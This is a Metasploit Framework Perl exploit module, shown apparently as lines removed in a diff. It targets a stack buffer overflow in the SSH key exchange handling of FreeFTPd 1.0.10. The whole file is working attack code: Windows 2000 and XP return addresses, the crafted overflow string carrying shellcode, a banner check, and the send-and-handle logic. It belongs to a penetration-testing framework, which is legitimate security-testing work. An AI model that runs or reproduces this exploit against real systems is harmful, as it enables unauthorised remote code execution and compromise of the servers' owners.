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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::freeftpd_key_exchange;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'FreeFTPd 1.0.10 Key Exchange Algorithm Buffer Overflow',
- 'Version' => '$Revision: 1.1 $',
- 'Authors' => [ 'riaf [at] mysec.org', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp' ],
- 'Priv' => 0,
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 22],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
- 'Payload' =>
- {
- 'Space' => 500,
- 'BadChars' => "\x00",
- 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a simple stack overflow in FreeFTPd 1.0.10
- This flaw is due to a buffer overflow error when handling a specially
- crafted key exchange algorithm string received from an SSH client.
- This module is based on MC's freesshd_key_exchange exploit.
- }),
-
- 'Refs' =>
- [
- ['BID', '17958'],
- ],
- 'Targets' =>
- [
-
- ['Windows 2000 SP0-SP4 English', 0x750231e2],
- ['Windows 2000 SP0-SP4 German', 0x74f931e2],
- ['Windows XP SP0-SP1 English', 0x71ab1d54],
- ['Windows XP SP2 English', 0x71ab9372],
- ],
-
- 'Keys' => ['ssh'],
-
- 'DisclosureDate' => 'May 12 2006',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit
- {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- my $sploit =
- "SSH-2.0-OpenSSH_3.9p1".
- "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".
- Pex::Text::AlphaNumText(1055). pack('V', $target->[1]).
- $shellcode. Pex::Text::AlphaNumText(19000). "\r\n";
-
- $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $resp = $s->Recv(-1);
- chomp($resp);
- $self->PrintLine('[*] FreeFTPd: ' . $resp);
-
- if($resp !~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/) {
- $self->PrintLine('[*] Not a vulnerable FreeFTPd version... ');
- return;
- }
-
- $s->Send($sploit);
- $self->Handler($s);
- $s->Close();
- return;
- }
- 1;
-
-